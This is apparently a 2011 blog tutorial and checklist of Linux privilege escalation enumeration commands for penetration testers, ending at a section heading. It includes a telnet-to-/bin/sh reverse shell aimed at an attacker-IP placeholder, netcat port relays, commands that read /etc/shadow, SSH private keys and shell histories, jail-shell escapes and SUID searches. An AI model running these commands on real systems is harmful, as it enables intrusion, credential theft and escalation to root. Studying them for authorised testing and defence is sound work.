Basic Linux Privilege Escalation

co4ie · August 3, 2011

Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a basic & rough guide. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".

Enumeration is the key.

(Linux) privilege escalation is all about:

Collect - Enumeration, more enumeration and some more enumeration.

Process - Sort through data, analyse and prioritisation.

Search - Know what to search for and where to find the exploit code.

Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".

Try - Get ready for (lots of) trial and error.

Operating System

What's the distribution type? What version?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release

cat /etc/redhat-release

What's the Kernel version? Is it 64-bit?

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux

ps -ef

top

cat /etc/service

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root

ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/

ls -lah /sbin/

dpkg -l

rpm -qa

ls -lah /var/cache/apt/archivesO

ls -lah /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

What jobs are scheduled?

crontab -l

ls -lah /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]

grep -i pass [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a

cat /etc/network/interfaces

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

What other users & hosts are communicating with the system?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

Whats cached? IP and/or MAC addresses

arp -e

route

/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

Have you got a shell? Can you interact with the system?

# 7 Linux Shells Using Built-in Tools « LaNMaSteR53.blog

nc -lvp 4444 # Attacker. Input (Commands)

nc -lvp 4445 # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Is port forwarding possible? Redirect and interact with traffic from another view

# rinetd

# Port-Forwarding With rinetd On Debian Etch | HowtoForge - Linux Howtos and Tutorials

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id

who

w

last

cat /etc/passwd | cut -d: # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

What sensitive files can be found?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -lah /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/

ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

What user information can be found?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

What can be found in /var/ ?

ls -lah /var/log

ls -lah /var/mail

ls -lah /var/spool

ls -lah /var/spool/lpd

ls -lah /var/lib/pgsql

ls -lah /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

ls -lahR /var/www/

ls -lahR /srv/www/htdocs/

ls -lahR /usr/local/www/apache22/data/

ls -lahR /opt/lampp/htdocs/

ls -lahR /var/www/html/

Is there anything in the log file(s) (Could help with "Local File Includes"!)

cat /var/log/messages

cat /var/log/secure

cat /var/webmin/miniserv.log

cat /var/log/cups/error_log

cat /var/log/chttp.log

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

If commands are limited, you break out of the "jail" shell?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

How are file-systems mounted?

mount

df -h

Are there any unmounted file-systems?

cat /etc/fstab

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i $ -perm -4000 -o -perm -2000 $ -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o+w -type d 2>/dev/null # world-writeable folders

find / -perm -o+x -type d 2>/dev/null # world-executable folders

find / $ -perm -o+w -perm -o+x $ -type d 2>/dev/null # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d $ -perm -0002 -a ! -perm -1000 $ -print # world-writeable files

find /dir -xdev $ -nouser -o -nogroup $ -print # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?